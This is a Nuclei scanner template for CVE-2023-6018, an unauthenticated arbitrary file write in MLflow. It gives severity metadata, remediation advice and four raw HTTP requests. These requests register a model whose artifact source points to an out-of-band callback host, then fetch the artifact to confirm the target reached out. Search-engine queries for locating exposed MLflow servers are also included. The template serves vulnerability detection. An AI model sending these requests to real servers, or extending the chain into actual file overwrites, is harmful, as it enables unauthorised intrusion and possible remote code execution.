Mlflow - Arbitrary File Write

id: CVE-2023-6018

info:
  name: Mlflow - Arbitrary File Write
  author: byt3bl33d3r
  severity: critical
  description: |
    An attacker can overwrite any file on the server hosting MLflow without any authentication.
  impact: |
    Unauthenticated attackers can overwrite any file on the server hosting MLflow, potentially compromising system integrity and enabling remote code execution.
  remediation: |
    Secure the MLflow instance by implementing authentication and access controls, and update to the latest patched version.
  reference:
    - https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6018
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6018
    cwe-id: CWE-78
    epss-score: 0.47874
    epss-percentile: 0.98864
    cpe: cpe:2.3:a:lfprojects:mlflow:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,oss,rce,intrusive,lfprojects,vuln
variables:
  model_name: "{{rand_text_alpha(6)}}"

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}", "source": "http://{{interactsh-url}}/api/2.0/mlflow-artifacts/artifacts/"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{model_name}}", "source": "models:/{{model_name}}/1"}

      - |
        GET /model-versions/get-artifact?path=random&name={{model_name}}&version=2 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body_1
        words:
          - '"registered_model":'
          - '"name":'
        condition: and